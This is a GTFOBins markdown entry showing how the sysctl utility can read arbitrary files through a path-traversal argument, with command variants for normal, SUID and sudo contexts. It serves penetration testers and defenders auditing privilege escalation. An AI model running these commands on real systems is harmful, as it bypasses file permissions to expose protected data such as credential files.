GTFOBins.github.io/_gtfobins/sysctl.md
2020-06-11 18:25:45 +02:00

17 lines
461 B
Markdown

---
description: The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files.
functions:
file-read:
- code: |
LFILE=file_to_read
/usr/sbin/sysctl -n "/../../$LFILE"
suid:
- code: |
LFILE=file_to_read
./sysctl -n "/../../$LFILE"
sudo:
- code: |
LFILE=file_to_read
sudo sysctl -n "/../../$LFILE"
---